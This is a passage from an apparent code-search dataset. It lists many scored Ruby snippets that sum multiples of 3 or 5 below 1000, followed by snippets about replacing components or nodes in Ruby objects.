"text": "def sum_of_multiples(up_to = 1000)\n sum = 0\n i = 1\n while i < up_to\n if i % 3 == 0 || i % 5 == 0\n sum = sum + i\n end\n i = i + 1\n end\n\n sum\nend",
"title": ""
},
{
"docid": "192ef4809a5accfbd7add590ba6768b4",
"score": "0.7961067",
"text": "def multiples(n) #n = 1000\r\n (3...1000).select { |num| num % 3 == 0 || num % 5 == 0 }.reduce(:+)\r\nend",
"title": ""
},
{
"docid": "94208ed0f1477eea78a7c1645b269327",
"score": "0.79453844",
"text": "def multiples\n sum = 0\n 1000.times do |numbers|\n if numbers % 3 == 0 || numbers % 5 == 0\n sum += numbers\n end\n end \n return sum\nend",
"title": ""
},
{
"docid": "6e4ab60e1e481258eab4cc66986845e4",
"score": "0.7919542",
"text": "def multiples_of_three_and_five\n @sum = 0\n (1...1000).each do |num|\n if num%3 == 0 || num%5 == 0\n @sum += num\n puts num\n end\n end\n puts @sum\nend",
"title": ""
},
{
"docid": "01ebeaac7610e337d2e12d1737306c93",
"score": "0.79097027",
"text": "def sum_of_mults(limit)\n sum = 0\n\n (1...limit).each do |number|\n sum += number if number % 3 == 0 || number % 5 == 0\n end\n\n sum\nend",
"title": ""
},
{
"docid": "df7b0c693087f072a91cc079621023f9",
"score": "0.78827477",
"text": "def sum_multiples limit\n sum = 0\n (1..limit).each {|n| sum+=n if n%3==0 || n%5==0}\n sum\nend",
"title": ""
},
{
"docid": "7d23c862e31b26dfeb7bbe409148fcbc",
"score": "0.7880434",
"text": "def sum_of_mults1(limit)\n sum = 0;\n (1...limit).each do |n|\n if n % 3 == 0 || n % 5 == 0\n sum += n;\n end\n end\n sum\nend",
"title": ""
},
{
"docid": "37c3bece427ce25b77cd157b8cc2558c",
"score": "0.7856425",
"text": "def find_sum_of_multiples limit\n multiplesSum = 0\n\n limit.times do |i|\n (i%3).zero? ? multiplesSum += i :\n (i%5).zero? ? multiplesSum += i :\n multiplesSum\n end\n multiplesSum\nend",
"title": ""
},
{
"docid": "6a9bc869b88802614740cfddc7625446",
"score": "0.7847078",
"text": "def sum_of_multiples\n sum = 0\n for i in (1...1000) do\n sum += i if (i % 3 == 0 || i % 5 == 0)\n end\n sum\nend",
"title": ""
},
{
"docid": "f96f9403da43e31260155cfacf6cf6fc",
"score": "0.7836916",
"text": "def mult3and5\n sum = 3\n 5.upto(999) {|num| sum += num if num % 3 == 0 || num % 5 == 0}\n sum\nend",
"title": ""
},
{
"docid": "27914f8fab4b108c116b66986bb17be5",
"score": "0.7827779",
"text": "def sum_of_3s_and_5s\n a = []\n (1...1000).each do |num|\n if num % 3 == 0 || num % 5 == 0\n a << num\n end\n end\n a.sum.to_s\nend",
"title": ""
},
{
"docid": "042836c3f378feb7a6a5d127ac94d6e4",
"score": "0.7821881",
"text": "def sum_of_multiples\n full_range = (1..999).to_a\n multiples = []\n\n full_range.each do |x|\n if (x % 3 == 0 || x % 5 == 0)\n multiples << x\n end\n end\n\n multiples.inject { |sum, n| sum + n }\n\nend",
"title": ""
},
{
"docid": "7eebd97cf4fc7ff4c3ea2059e4cdb1ea",
"score": "0.7791568",
"text": "def find_sum_of_all_multiples(limit)\n sum = 0\n for i in 0...limit\n if i % 3 == 0 || i % 5 == 0\n sum += i\n end\n end\n puts sum\nend",
"title": ""
},
{
"docid": "73185240a07ba638b14e1ea5fce26121",
"score": "0.7786447",
"text": "def sum_3_5\n\tmultiples = []\n\tfor i in 1..999\n\t if i % 3 == 0 || i % 5 == 0\n\t \tmultiples << i\n\t end\n end\n multiples.inject(:+)\n\nend",
"title": ""
},
{
"docid": "d69811ddf7bdef6e72cfbc5f33b0426c",
"score": "0.7779234",
"text": "def sum_multiples(limit) \n sum = 0\n for i in 0...limit\n if i % 3 == 0 || i % 5 == 0\n sum += i\n end\n end\n return sum\nend",
"title": ""
},
{
"docid": "766660d934754f4cd21c879a8cc5dacc",
"score": "0.7776387",
"text": "def sum_mult3or5(num)\n mult = []\n 1000.times do |i|\n mult.push(i) if i % 3 == 0 || i % 5 == 0\n end\n mult.inject(:+)\nend",
"title": ""
},
{
"docid": "ddf5fcff1133a1a3481411a84c9b55b5",
"score": "0.77629346",
"text": "def sum_of_multiples_of_3_and_5(max)\n sum = 0 \n (3...max).each { |n| sum += n if multiple_of_3_or_5?(n) } \n sum\nend",
"title": ""
},
{
"docid": "71f966d1ca1e5f0e4e5bda0f4b923800",
"score": "0.77559924",
"text": "def sum_multiples_3_5\n multiples = []\n 0.upto(999) do |i|\n multiples << i if (i % 3 == 0) || (i % 5 == 0)\n end\n multiples.inject(:+)\nend",
"title": ""
},
{
"docid": "6c08b1626068386b135e18c65d47dd14",
"score": "0.7754854",
"text": "def sum_of_multiples(upper_limit)\n sum = 0\n (0...upper_limit).each do |num|\n if num % 3 == 0 or num % 5 == 0\n sum += num\n end\n end\n puts sum\nend",
"title": ""
},
{
"docid": "530898d3c9a6d562cc0e03246b02a866",
"score": "0.77427876",
"text": "def sum_multiples(limit)\n return_val = 0\n (1...limit).each do |i|\n if (i % 3 == 0) || (i % 5 == 0)\n return_val += i\n end\n end\n return return_val\n\nend",
"title": ""
},
{
"docid": "1c9dabb15f086bf0c626607f6fb6f558",
"score": "0.7740563",
"text": "def multiples_three_five()\n count = 0\n sum = 0\n while count < 1000\n if count % 3 == 0 || count % 5\n sum += count\n end\n count += 1\n end\n puts sum\nend",
"title": ""
},
{
"docid": "5238a837a753bfd3be88756ca763b9bd",
"score": "0.7725874",
"text": "def sum_multiples\n return_sum = 0\n (1...@limit).each do |i|\n if (i % 3 == 0) || (i % 5 == 0)\n return_sum += i\n end\n end\n return return_sum\n end",
"title": ""
},
{
"docid": "d6f9657af540897898e531e0c7f4f915",
"score": "0.76922756",
"text": "def compute\n (0...1000).reduce { |sum, n| (n % 3 == 0 || n % 5 == 0) ? sum + n : sum }\nend",
"title": ""
},
{
"docid": "dd30f032156fa7e51d2136d7bf165e55",
"score": "0.7677242",
"text": "def multipleThreeFiveSum(limit)\n\tsum = 0\n\tfor i in 1..limit\n\t\tif i % 3 == 0\n\t\t\tsum += i\n\t\telsif i % 5 == 0\n\t\t\tsum += i\n\t\tend\n\tend\n\treturn sum\nend",
"title": ""
},
{
"docid": "ceda15962012a9365109fbd9106159a5",
"score": "0.76713985",
"text": "def multiple_of_3_and_5(limit)\n (1...1000).inject(0){|ele, num| num % 3 == 0 || num % 5 == 0 ? ele + num : ele }\nend",
"title": ""
},
{
"docid": "53db5319a472cd1d8b11d95080547c93",
"score": "0.7669377",
"text": "def problem_1\n (0...1000).select { |v| v % 3 == 0 || v % 5 == 0 }.reduce(&:+)\nend",
"title": ""
},
{
"docid": "07771cb8d5a64e8f9308ecbaacad940d",
"score": "0.7667486",
"text": "def sum x #x is the limit of the problem, here it is 1000\n\tanswer = 0\n\tn = 0\n\twhile n < x # integer n\n\t\tif n % 3 == 0 || n % 5 == 0\n\t\t\tanswer += n\n\t\tend\n\t\tn += 1\n\tend\n\treturn answer\nend",
"title": ""
},
{
"docid": "c7fbc580670d9b324602029a83667163",
"score": "0.76492566",
"text": "def multiples\n sum = 0\n 1.upto(999) do |i|\n sum += i if i % 3 == 0 or i % 5 == 0\n end\n sum\nend",
"title": ""
},
{
"docid": "a0df48c68e35442ee2cc76ab935ced02",
"score": "0.76413894",
"text": "def solution_1\n (1...1000).select { |x| x % 3 == 0 or x % 5 == 0 }.reduce(:+)\n end",
"title": ""
},
{
"docid": "4e4779d1816cfa420bdc7a414a72e7d2",
"score": "0.76140994",
"text": "def multisum(upper_limit)\n (1..upper_limit).to_a.select { |num| num % 3 == 0 || num % 5 == 0 }.reduce(:+)\nend",
"title": ""
},
{
"docid": "4cbe6056ab0067f7360e47e9380705c2",
"score": "0.7606973",
"text": "def sum_multiples(limit)\n\ncount = []\n\n (3...limit).each do |i|\n\n if i % 3 == 0 || i % 5 == 0\n count << i\n end\n \n end\n\nresult = 0\ncount.each do |j|\n result = result + j\nend \n\n\n return result\nend",
"title": ""
},
{
"docid": "0e1231a9e8188778426085f5954a3068",
"score": "0.7601154",
"text": "def sumOfMultsOf3and5(max)\n sum = 0\n for i in 0..max-1\n if i % 3 == 0 || i % 5 == 0\n sum += i\n end\n end\n sum\nend",
"title": ""
},
{
"docid": "124543b9de7e9cceb3b5b9ca87efb015",
"score": "0.75810796",
"text": "def multiples_of_3_and_5(num)\nsum=0\n(0...num).each {|i| sum+=i\tif i%3==0 or i%5==0}\nreturn sum\nend",
"title": ""
},
{
"docid": "b40f83c8d0fff2dfc28e5b6538a6c9ac",
"score": "0.7563477",
"text": "def multiple_checker()\n\tsum = 0\n\tmultiple_index = 0\n\twhile multiple_index < 1000\n\n\t\tif (multiple_index % 3 == 0) || (multiple_index % 5 == 0) \n\t\t\tsum = sum + multiple_index\n\t\tend\n\t\tmultiple_index += 1\n\t\tp multiple_index\n\t\tp sum\n\tend\n\treturn sum\nend",
"title": ""
},
{
"docid": "46a177a2a3c2da438345cf9154d6ce8c",
"score": "0.7560576",
"text": "def sum_of_multiples(below_num)\n sum = 0\n for i in 0...below_num do\n sum += i if i % 3 == 0 || i % 5 == 0\n end\n sum\nend",
"title": ""
},
{
"docid": "0a3ecec35cc154a21f80992c6bf26c30",
"score": "0.75442195",
"text": "def multiples_of_3_or_5_sum(number)\n (1..number).select {|x| x % 3 == 0 || x % 5 == 0}.reduce(:+)\nend",
"title": ""
},
{
"docid": "2fbb97ca563deab31a51163b1d39e962",
"score": "0.7541106",
"text": "def p1 \n sum = 0 \n (1..999).each do |n|\n if n % 3 == 0 || n % 5 == 0 then\n sum = sum + n\n end\n end\n sum\nend",
"title": ""
},
{
"docid": "28db228e10e7cd92a080fde12cb7e33f",
"score": "0.7527465",
"text": "def sum\n result = 0\n for i in (1...1000)\n result += i if i % 3 == 0 || i % 5 == 0\n end\n return result\nend",
"title": ""
},
{
"docid": "20fb88fe3cbd6e7cb6c315366f140661",
"score": "0.7517883",
"text": "def sum_multiples_3and5(k)\n return nil unless k.class == Fixnum\n answer = 0\n (1..k).each do |n|\n if n%3 == 0 || n%5 == 0\n answer += n\n end\n end\n return answer\nend",
"title": ""
},
{
"docid": "c04516ad09307523d5a9530772b12d71",
"score": "0.75127244",
"text": "def multiples_of_3_or_5_sum(max)\n array_of_multiples = Array.new\n (1...max).each { |num| array_of_multiples.push(num) if num % 3 == 0 || num % 5 == 0 }\n array_of_multiples.reduce(:+)\nend",
"title": ""
},
{
"docid": "7ec6c9d95dcc8da0585d24e57d8906e4",
"score": "0.75018466",
"text": "def multiples_of(num)\n sum = 0\n for i in 0..num - 1\n if i % 3 == 0 || i % 5 == 0\n sum = sum + i\n end\n end\n return sum\nend",
"title": ""
},
{
"docid": "52d1783e26a8ddc39eef367929867ee0",
"score": "0.7496945",
"text": "def multisum(num)\n mults = (1..num).find_all { |num| num % 3 == 0 || num % 5 == 0 }\n total = mults.reduce(:+)\nend",
"title": ""
},
{
"docid": "f5eb3e8843b0717b9a50699d5e331bb1",
"score": "0.7490353",
"text": "def multiples_3_and_5(number)\n sum = 0\n (0...number).each do |num|\n if (num%3 == 0 || num%5 == 0)\n sum += num\n end\n end\n sum\nend",
"title": ""
},
{
"docid": "5739d0329bcfcce8fdcd1b222affe97e",
"score": "0.74865603",
"text": "def sum_all_multiples_of_3_or_5_below_n(n)\n (1..n-1).select { |x| x % 3 == 0 || x % 5 == 0 }.reduce(:+)\nend",
"title": ""
},
{
"docid": "13ecd1288830b1787a10e8d74ba89193",
"score": "0.7482909",
"text": "def solve_problem_one\n under = 1000\n 3.multiples(under).sum + 5.multiples(under).sum - 15.multiples(under).sum\n end",
"title": ""
},
{
"docid": "8c18518b59ad92ac3de49e4ac06376d9",
"score": "0.7470465",
"text": "def sumOfAllMultiples(multiples = [3,5], limit = 1000)\n sum = 0\n (0...limit).each do |element|\n sum += isMultiple(element, multiples) ? element : 0\n end\n return sum\nend",
"title": ""
},
{
"docid": "4bd10320cbeeb4b424d79bffc47eff8b",
"score": "0.74684507",
"text": "def villani\n i = 0\n sum = 0\n while i < 1000\n if (i % 3 == 0) || (i % 5 == 0)\n sum = sum + i\n end\n i += 1\n end\n return sum\nend",
"title": ""
},
{
"docid": "6ba886cfec85e9975165d3edbdfb5fff",
"score": "0.74627244",
"text": "def solution(number)\n # total = 0\n (0...number).select {|number| number%3==0 || number%5==0}.reduce(:+)\n # total\nend",
"title": ""
},
{
"docid": "4e1768bea67429a9e0045bbdcf3dff4d",
"score": "0.7456257",
"text": "def multiples_of_3_and_5 value\n\ttotal = 0\n\tvalue.times { |i| total += i if i % 3 == 0 or i % 5 == 0 }\n\ttotal\nend",
"title": ""
},
{
"docid": "d36e1d0ee79d6d34b6490f0b37ae871f",
"score": "0.7452848",
"text": "def test_large_sum\n assert_equal(233168, sum_multiples_upto(3, 5, 1000))\n end",
"title": ""
},
{
"docid": "b052138b6e408be0e1fc19fc1e4ce88e",
"score": "0.7446512",
"text": "def multisum(max_value)\n sum = 0 # initialize variable sum.\n 1.upto(max_value) do |number|\n if multiple?(number, 3) || multiple?(number, 5)\n sum += number\n end\n end\n sum\nend",
"title": ""
},
{
"docid": "18fc83122ab1948f4a45205d577cd5c8",
"score": "0.74240947",
"text": "def sum_of_multi\n\n numbers_to_add = []\n\n for number in 1..1000\n if number % 3 == 0 || number % 5 == 0\n numbers_to_add.push(number)\n end\n end\n\n sum_of_multi = numbers_to_add.sum\n puts sum_of_multi\n\nend",
"title": ""
},
{
"docid": "8a11f3750e2bed98c2c5dd1b4e36bdbb",
"score": "0.7401319",
"text": "def multiplesOf3and5(number) \n\tsum = 0\n\tnum = 1\n\n\twhile num < number do \n\n\t\tif num % 3 === 0 || num % 5 === 0\n\t\t\tsum += num;\n\t\tend\n\t\tnum += 1\n\tend\n\tsum\nend",
"title": ""
},
{
"docid": "adeb465a1f86312b1e6da94638832adf",
"score": "0.7401078",
"text": "def sum_of_multiples_of_3_or_5(up_to)\n sum = 0\n\n (1...up_to).each do |i|\n\n if i % 3 == 0 or i % 5 == 0\n sum += i\n end\n\n end\n\n puts \"Sum of Multiples of 3 or 5 (below #{up_to}): #{sum}\"\nend",
"title": ""
},
{
"docid": "afe80d4d19da3941224da94813e6397c",
"score": "0.7397718",
"text": "def m35\n mults = []\n (1..999).each do |i|\n if (i % 3 == 0 || i % 5 == 0) && !mults.include?(i)\n mults << i\n end\n end\n\n mults.inject(&:+)\nend",
"title": ""
},
{
"docid": "bc8ab143dbccbda1f97928e5190676e6",
"score": "0.7388685",
"text": "def multiple(numbers)\r\n\tsum = 0\r\n\tnums = numbers.find_all{|n| n%3 ==0 || n%5==0}\r\n\treturn nums.inject(:+)\r\nend",
"title": ""
},
{
"docid": "8d812609f1f1b4cd4487dde567ab2450",
"score": "0.7382022",
"text": "def sum_of_multiples_of_3_and_5(num)\n arr = []\n 1.upto(num) do |number|\n arr.push(number) if number % 3 == 0 || number % 5 == 0\n end\n arr.reduce(:+)\nend",
"title": ""
},
{
"docid": "247ac36f7a6358c7ea7d8f58688f5cef",
"score": "0.7378461",
"text": "def multisum(max)\n total = 0\n (1..max).each do |num|\n total += num if (num % 3 == 0 || num % 5 == 0)\n end\n total\nend",
"title": ""
},
{
"docid": "c07461dfb694d15715eca1c7ffaf334b",
"score": "0.7355751",
"text": "def main(upper_bound)\n (1..upper_bound).select { |i| i % 3 == 0 || i % 5 == 0 }.sum\nend",
"title": ""
},
{
"docid": "ec30c919b991d565a65f5524fc615ed3",
"score": "0.73528475",
"text": "def find_multiples(max_value)\n range = (0..max_value).to_a\n multiples = range.select { |number| number % 3 == 0 || number % 5 == 0 }\n multiples.reduce(:+)\nend",
"title": ""
},
{
"docid": "a40484f61476e1727974a4322ad2fe39",
"score": "0.73469824",
"text": "def mult_3_5_below(num)\n (1...num).inject(0) do |total, i| \n i % 3 == 0 || i % 5 == 0 ? total + i : total\n end\nend",
"title": ""
},
{
"docid": "45a7f1f459b047dc3b50cdc7c35d461f",
"score": "0.7344455",
"text": "def multiples_3_5(m3, m5, max)\n (1...max).select {|number| (number % m3 ).zero? || (number % m5).zero? }.inject(:+)\nend",
"title": ""
},
{
"docid": "79ce4663953cd1f74934ef76c524583f",
"score": "0.73295623",
"text": "def calculate_below(n)\n (1...n).select{|n| n if n % 3 == 0 or n % 5 == 0}.reduce(:+)\nend",
"title": ""
},
{
"docid": "453538383721d30d3975f553e27e0b64",
"score": "0.732395",
"text": "def euler001_solution\n sum = 0\n (0..999).each do |num|\n sum += num if (num % 3 == 0) || (num % 5 == 0)\n end\n sum\nend",
"title": ""
},
{
"docid": "15a314ca5a91338c8bef2c4d84a7c690",
"score": "0.7322569",
"text": "def sum\ntotal = 0\n\tfor i in 1...1000\n\t\tif i %3 == 0 || i %5 == 0\n\t\ttotal += i\n\t\tend\n\tend\n\tputs total\nend",
"title": ""
},
{
"docid": "25d77211a75df1dedeaad27a22aa03c5",
"score": "0.7319522",
"text": "def multiples_of_3s_and_5s\n (1...1000).select do |num|\n num % 3 == 0 || num % 5 == 0\n end\nend",
"title": ""
},
{
"docid": "f7b968b16866798da07027a9715bb661",
"score": "0.7316697",
"text": "def sum\n total = 8\n i = 6\n while i < 1000\n total += i if (i % 3 == 0) || (i % 5 == 0)\n i += 1\n end\n total\nend",
"title": ""
},
{
"docid": "5149784dc001d3c05419a7725df8fef0",
"score": "0.7306555",
"text": "def problem_1\n 0.upto(999).reduce { |sum, num| num % 3 == 0 || num % 5 == 0 ? sum + num : sum }\nend",
"title": ""
},
{
"docid": "0aa50ecd194f087b9d4cd04df00cb6b2",
"score": "0.7302863",
"text": "def problem1\n sum = 0\n iterator = 0\n while iterator < 1000\n if multiple?(iterator)\n sum += iterator\n end\n iterator += 1\n end\n return sum\nend",
"title": ""
},
{
"docid": "22dc72a90a77abe860b3aa0d3c73aceb",
"score": "0.729898",
"text": "def sum_numbers(max)\n (1...max).select do |n|\n (n % 3).zero? || (n % 5).zero?\n end.inject(:+)\nend",
"title": ""
},
{
"docid": "05bb1bce8542e5d5436afef2f9a4fa51",
"score": "0.7292432",
"text": "def sum_3_and_5 number\n (2...number).select {|i| i%3==0 || i%5==0}.reduce(:+)\n # or\n # (2...number).find_all {|i| i%3==0 or i%5==0}.reduce(:+)\nend",
"title": ""
},
{
"docid": "622f250299d07643bab09e9974517455",
"score": "0.72880447",
"text": "def multisum(number)\n (1..number).select { |num| num % 3 == 0 || num % 5 == 0 }.sum\nend",
"title": ""
},
{
"docid": "6c6ea08a64796c0902b2df0f75830633",
"score": "0.72841555",
"text": "def solution(number)\n (1...number).select { |i| (i % 3).zero? || (i % 5).zero? }.sum\nend",
"title": ""
},
{
"docid": "14b88d5e14f8e4eaaa894390efb6e8a9",
"score": "0.7277118",
"text": "def multisum(limit)\n (1..limit).to_a.select {|num| num % 3 == 0 || num % 5 == 0}.reduce(:+)\nend",
"title": ""
},
{
"docid": "018fa3a32f50a7e02f90d046df0527d0",
"score": "0.72697586",
"text": "def multiples(number)\n\ttotal = 0\n\t(0...number).each do |x|\n\t\ttotal += x if(x % 3 == 0 || x % 5 == 0)\n\tend\n\ttotal\nend",
"title": ""
},
{
"docid": "72c50cb7026af50a7cffb57c258f697e",
"score": "0.72680014",
"text": "def compute\n ans = 0\n for i in 1..999\n ans += i if i % 3 == 0 or i % 5 == 0\n end\n ans\nend",
"title": ""
},
{
"docid": "83a965667c0952f306a04f6b20245cc3",
"score": "0.72620356",
"text": "def find_sum(number)\n multiples = []\n i = 0\n while i < number\n if i % 3 == 0 || i % 5 == 0\n multiples << i\n end\n i += 1\n end\nmultiples.inject(:+)\nend",
"title": ""
},
{
"docid": "00d817fcab3ae6fc0b81751bd3c4d8fb",
"score": "0.72613734",
"text": "def sum_of_multiples(max_range)\n\tsum = 0\n\n\t(1..(max_range - 1)).each do |num|\n\t\tif num % 3 == 0 || num % 5 == 0\n\t\t\tsum += num\n\t\tend\n\tend\n\n\tsum\nend",
"title": ""
},
{
"docid": "e524aea62d9804564875964d8cc99166",
"score": "0.72576845",
"text": "def multiples limit\n\t(1..limit-1).inject(0) {|sum, num| (num % 3 == 0 || num % 5 == 0) ? sum + num : sum}\n\t\n\t#\tOther possible answers:\n\t# (1..limit-1).to_a.keep_if{|d| d%3 == 0 || d%5 == 0}.reduce(:+)\n\t# 1.upto(limit-1).inject(0) { |sum, num| sum += num if (num % 3 == 0 || i % 5 == 0); sum }\nend",
"title": ""
},
{
"docid": "e1fc87eb3b83904622f09bb59feb1769",
"score": "0.7257658",
"text": "def multisum(num)\n 1.upto(num).select { |n| n % 3 == 0 || n % 5 == 0 }.sum\nend",
"title": ""
},
{
"docid": "9965733776904724d4c903ef13f72339",
"score": "0.7253124",
"text": "def sum_3_and_5 max\n\ti = 2\n\tsum = 0\n\n\twhile i < max-1\n\t\ti+= 1\n\t\t\n\t\tif i%5 === 0\n\t\t\tsum+=i\n\t\t\tnext\n\t\telsif i%3 === 0\n\t\t\tsum+=i\n\t\tend\n\tend \n\n\tsum\n\nend",
"title": ""
},
{
"docid": "7dbcbbc97042b7807f5ed633b2d619c8",
"score": "0.7249908",
"text": "def answer\n (1..999).reduce(0) do |result, number|\n result += number if number % 3 == 0 || number % 5 == 0\n result\n end\nend",
"title": ""
},
{
"docid": "13be50540632a9d957fbb96b2e00f7ed",
"score": "0.724165",
"text": "def solution(number)\n sum = 0\n 1.upto number - 1 do |x|\n sum += x if x % 3 == 0 || x % 5 == 0 \n end \n return sum\nend",
"title": ""
},
{
"docid": "127c95f0f34869b79eaed7698803e2a4",
"score": "0.72350657",
"text": "def multiples_of_3_and_5(n)\n sum = 0\n for i in 3...n\n sum += i if i % 3 == 0||i % 5 == 0\n end\n return sum\nend",
"title": ""
},
{
"docid": "55f33818624c2f1911457f41fce4f73c",
"score": "0.7226607",
"text": "def sum_of_multiples(min, max)\n\t(min..max).to_a.collect{|num| num if (num % 3 == 0 || num % 5 == 0) }.compact.inject(:+)\nend",
"title": ""
},
{
"docid": "9f11bae616f4a782e9f1bee1ce0ffaa6",
"score": "0.72250015",
"text": "def multiples_of_3_and_5_sum(number)\n\tlist_of_multiples = generate_multiples_list(number)\n\tsum = add_multiples(list_of_multiples)\n\treturn sum\nend",
"title": ""
},
{
"docid": "889620f0740aa799f3b553d086a0a11b",
"score": "0.722499",
"text": "def multiples_3_and_5(num)\n\n sum = 0 \n\n for i in 1..(num-1) do \n \tsum += i if i % 3 == 0 || i % 5 == 0\n end\n sum\n\nend",
"title": ""
},
{
"docid": "529f1c9cf546b63cd7db530c39728493",
"score": "0.7223624",
"text": "def multisum(number)\n (1..number).select { |num| (num % 3 == 0) || (num % 5 == 0) }.sum\nend",
"title": ""
},
{
"docid": "a72a6ffcb742b331d753292195eada66",
"score": "0.72199094",
"text": "def ThreeFiveMultiples(num)\n sum = 0\n\n (0...num).each do |i|\n if i % 3 == 0 || i % 5 == 0\n sum += i\n end\n end\n\n sum\nend",
"title": ""
},
{
"docid": "6ecaf1dc1c982705f5484112809d2854",
"score": "0.72141993",
"text": "def sum_divisible_by(number)\n # 999 since that is the biggest number that is smaller than 1000\n # 3 + 6 + 9 + 12 + ..... + 999 = 3 * (1 + 2 + 3 + 4 + .... + n), n = 999 / 3\n # 5 + 10 + 15 + 20 + .... + 995 = 5 * (1 + 2 + 3 + 4 + .... + n), n = 999 / 5\n # (1 + 2 + 3 + .... + n) = 1/2 * n * (n + 1)\n p = (999 / number).floor\n (number * (p *(p + 1)) / 2).floor\nend",
"title": ""
},
{
"docid": "e008ee6eef0dd00e4e096b35f3ea3899",
"score": "0.7213116",
"text": "def multisum num\n (1..num).select {|m| m % 3 == 0 || m % 5 == 0}.sum\nend",
"title": ""
},
{
"docid": "ea682ee016661481995d70ef5bbe8917",
"score": "0.72091365",
"text": "def sum_mult(n)\n sum = 0\n (3...n).each { |num| sum += num if num % 3 == 0 || num % 5 == 0 }\n sum\nend",
"title": ""
}
] |
dc8d031e09bc9c64ccae297379d88035
|
replace overridden component (if any) with specified component
|
[
{
"docid": "c1ccb46a2ac1f97f2b0b1b8ec09405c7",
"score": "0.5616872",
"text": "def inject_component(doc, component)\n doc.root.delete_element(\"//component[@name='#{component.attributes['name']}']\")\n doc.root.add_element component\n end",
"title": ""
}
] |
[
{
"docid": "61fe90ce6677a22c0a43281e484e1d20",
"score": "0.6217935",
"text": "def replace!(oth)\n if self.class != oth.class\n raise ArgumentError, \"expected #{self.class} object\"\n end\n\n component.each do |c|\n self.__send__(\"#{c}=\", oth.__send__(c))\n end\n end",
"title": ""
},
{
"docid": "3bef67fc56bc09213abbf44e864ad1cb",
"score": "0.5851744",
"text": "def replace(*)\n lazy_load # lazy load so that targets are always orphaned\n super\n end",
"title": ""
},
{
"docid": "3bef67fc56bc09213abbf44e864ad1cb",
"score": "0.5851744",
"text": "def replace(*)\n lazy_load # lazy load so that targets are always orphaned\n super\n end",
"title": ""
},
{
"docid": "4c54c96a268ff1f3d0fd7ecf2b26855e",
"score": "0.5740516",
"text": "def component(klass)\n if @replacements && @replacements.has_key?(klass)\n @replacements[klass]\n\n else\n klass\n end\n end",
"title": ""
},
{
"docid": "428d877f6c667152a10d026adca8a11f",
"score": "0.56353927",
"text": "def update!(**args)\n @component = args[:component] if args.key?(:component)\n end",
"title": ""
},
{
"docid": "428d877f6c667152a10d026adca8a11f",
"score": "0.56353927",
"text": "def update!(**args)\n @component = args[:component] if args.key?(:component)\n end",
"title": ""
},
{
"docid": "be97d70a41037be6caaac59cab948eb4",
"score": "0.55662876",
"text": "def widget(target, assigns = {}, options = {}, &block)\n assigns.merge!(:component => @component) {|_,old,_| old } if target.is_a? Class\n super target, assigns, options, &block\n end",
"title": ""
},
{
"docid": "271fdd51ba92565ade129e969ed26fe1",
"score": "0.5557204",
"text": "def set_component(component)\n self.namespace(component.name)\n @component = component\n end",
"title": ""
},
{
"docid": "9f7104b934080ddf602996fc6c7a86f9",
"score": "0.5469669",
"text": "def replace_workflow_components(doc,processor_name,replacement_id)\n replacement_component = WorkflowComponent.find(replacement_id)\n\n processors = doc.root.elements[Top_dataflow].elements[\"processors\"]\n path_to_procesor_name = 'name'\n processor_node = nil\n processors.children.each do |x|\n if x.class == REXML::Element\n if x.elements[path_to_procesor_name].text == processor_name\n processor_node = x\n end\n end\n end\n\n cb_path = \"activities/activity/configBean\"\n cb_path += \"/net.sf.taverna.t2.component.ComponentActivityConfigurationBean\"\n config_bean = processor_node.elements[cb_path]\n #put component info in the child node\n config_bean.elements['registryBase'].text = replacement_component.registry\n config_bean.elements['familyName'].text = replacement_component.family\n config_bean.elements['componentName'].text = replacement_component.name\n config_bean.elements['componentVersion'].text = replacement_component.version.to_s\n end",
"title": ""
},
{
"docid": "03a8245b1189e8feeef2bcf608196e7b",
"score": "0.5343248",
"text": "def replace_by(object)\n raise NotImplementedError, \"#{self.class} did not reimplement #replace_by\"\n end",
"title": ""
},
{
"docid": "3f1523049d234ecb69ee6e4ec717d32c",
"score": "0.5308913",
"text": "def duplicate_component()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.LayoutEditor_duplicate_component(@handle.ptr)\n end",
"title": ""
},
{
"docid": "e220fbeb4a98e3f35a51bf6f3d5353f0",
"score": "0.5260245",
"text": "def update!(**args)\n @components = args[:components] if args.key?(:components)\n end",
"title": ""
},
{
"docid": "e220fbeb4a98e3f35a51bf6f3d5353f0",
"score": "0.5260245",
"text": "def update!(**args)\n @components = args[:components] if args.key?(:components)\n end",
"title": ""
},
{
"docid": "2f889409a4b864c886c55c2efb8363dd",
"score": "0.5237003",
"text": "def replace_container(name, content)\n render :update do |page|\n page.replace name, content\n end\n end",
"title": ""
},
{
"docid": "a355777ec8c99fe0d61b4c18a9969cf7",
"score": "0.52104384",
"text": "def replace_with(child); end",
"title": ""
},
{
"docid": "8fd95f66ad72463743e2724c8609b2c8",
"score": "0.51787484",
"text": "def attach_component(entity, component)\n\t\tinterface = component.class.interface\n\t\t\n\t\texisting_component = entity[interface]\n\t\tif existing_component\n\t\t\tentity.delete_component(interface)\n\t\tend\n\t\t\n\t\tentity.add_component(component)\n\tend",
"title": ""
},
{
"docid": "87e1945271916835fa83a3e5d48fca3a",
"score": "0.5177196",
"text": "def rep(original, new)\n # making sure we don't try substituting nil objects or for nil objects\n\toriginal=(original==nil)? \"\":original\n new=(new==nil)? \"\":new\n \n\ttemp=self.inner_html\n self.inner_html=temp.gsub(original, new)\n self\n end",
"title": ""
},
{
"docid": "a95ce9ffcd79104f289b3e8813964112",
"score": "0.5165983",
"text": "def method_missing(method, *args, &block)\n if component.respond_to?(method)\n component.__send__ method, *args, &block\n else\n super\n end\n end",
"title": ""
},
{
"docid": "de360be73ff2ee265e8595a2bf2b49a6",
"score": "0.5153559",
"text": "def apply_component_for(choice, component)\n # I need to override Thor#apply because for unknow reason :verobse => false break tasks.\n path = File.expand_path(File.dirname(__FILE__) + \"/components/#{component}/#{choice}.rb\")\n say_status :apply, \"#{component}/#{choice}\"\n shell.padding += 1\n instance_eval(open(path).read)\n shell.padding -= 1\n end",
"title": ""
},
{
"docid": "36c9c0ea104f2196306db826bef7f8ad",
"score": "0.5137964",
"text": "def replace(replacement)\n @parent.replace_node(self, replacement)\n end",
"title": ""
},
{
"docid": "e47e8799db64d53656a4c079fd079f3f",
"score": "0.5131073",
"text": "def update_component_xml(component, modifier_el, opts)\n end",
"title": ""
},
{
"docid": "da3424221ddfba5411ee58cdd2692ea6",
"score": "0.5122056",
"text": "def replace_parent( *args )\n \n new_parent = nil\n existing_parent = nil\n \n case args.size\n when 1\n new_parent = args[ 0 ]\n when 2\n # existing_parent = args[ 0 ]\n new_parent = args[ 1 ]\n end\n \n unregister_parent\n register_parent( new_parent )\n\n return self\n \n end",
"title": ""
},
{
